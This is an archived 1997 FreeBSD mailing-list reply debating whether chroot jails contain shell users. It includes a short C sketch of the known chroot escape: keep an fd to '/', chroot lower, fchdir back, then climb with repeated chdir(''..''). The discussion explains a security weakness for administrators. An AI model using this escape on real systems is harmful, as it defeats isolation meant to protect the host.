Skip site navigation (1)Skip section navigation (2)
Date:      Thu, 29 May 1997 09:16:10 -0600
From:      Warner Losh <imp@village.org>
To:        Terry Lambert <terry@lambert.org>
Cc:        dec@phoenix.its.rpi.edu, peter@grendel.IAEhv.nl, mrcpu@cdsnet.net, hackers@freebsd.org
Subject:   Re: Correct way to chroot for shell account users? 
Message-ID:  <E0wX6vy-0002fp-00@rover.village.org>
In-Reply-To: Your message of "Thu, 29 May 1997 07:56:26 PDT." <199705291456.HAA03526@phaeton.artisoft.com> 
References:  <199705291456.HAA03526@phaeton.artisoft.com>  

next in thread | previous in thread | raw e-mail | index | archive | help
In message <199705291456.HAA03526@phaeton.artisoft.com> Terry Lambert writes:
: 1)	namei() refusing to traverse ".." from the chroot'ed
: 	root vnode (this is broken, but then almost all of
: 	namei() is broken, and no one cares but me...).

This works because the .. is outside the jail.

: 2)	The chroot() call takes a path, which namei() will
: 	look up relative

Yes.  That's true but irrelevant.

: 3)	The link() system call in /sys/kern/vfs_syscalls.c has
: 	code to prevent hard links on directories:
: 
: 		if (vp->v_type == VDIR)
: 			error = EPERM;		/* POSIX */
: 
: 	Not even root can do the hard link your method requires.

Right, that's what I said, but this is new.

: 4)	You don't have to let them have an open fd to the original
: 	"/" when you throw them in jail.

Ummm, the "/" I was talking about was the new root (eg /jail in the
non-chroot'd system).  You open up /, keep that fd around, then chroot
to someplace else lower in your current tree (eg /jail/xxx in the
non-chrooted case, or /xxx in the chroot'd case).  At this point the
fchdir would succeed in landing you outside the jail.

: 5)	Calling chroot(2) is restricted to the superuser anyway,
: 	and only an idiot would try to put a root user in a
: 	chroot jail anyway (or put an ordinary user in a chroot
: 	jail with suid/sgid binaries).

100% correct.  However, many people think that a chroot'd environment
is so safe that even root can't climb out.  It isn't.  If somehow a
user gets root in a chroot'd environment, then your entire machine can
be comporomised.

Michael Smith posted the program to climb out of the jail here a few
months ago.  This isn't theoretical, but it works.  It was something
along the lines of the following.  You can find it in the archives.

int main()
{
	int fd;

	mkdir("xxx");
	fd = open("/");
	chroot("/xxx");
	fchdir(fd);
	chdir("..");
	chdir("..");
	chdir("..");
	chdir("..");
	chdir("..");
	chdir("..");
	chdir("..");
	chdir("..");
	chdir("..");
	chdir("..");
	chdir("..");
	chdir("..");
	chdir("..");
}



Want to link to this message? Use this URL: <https://mail-archive.FreeBSD.org/cgi/mid.cgi?E0wX6vy-0002fp-00>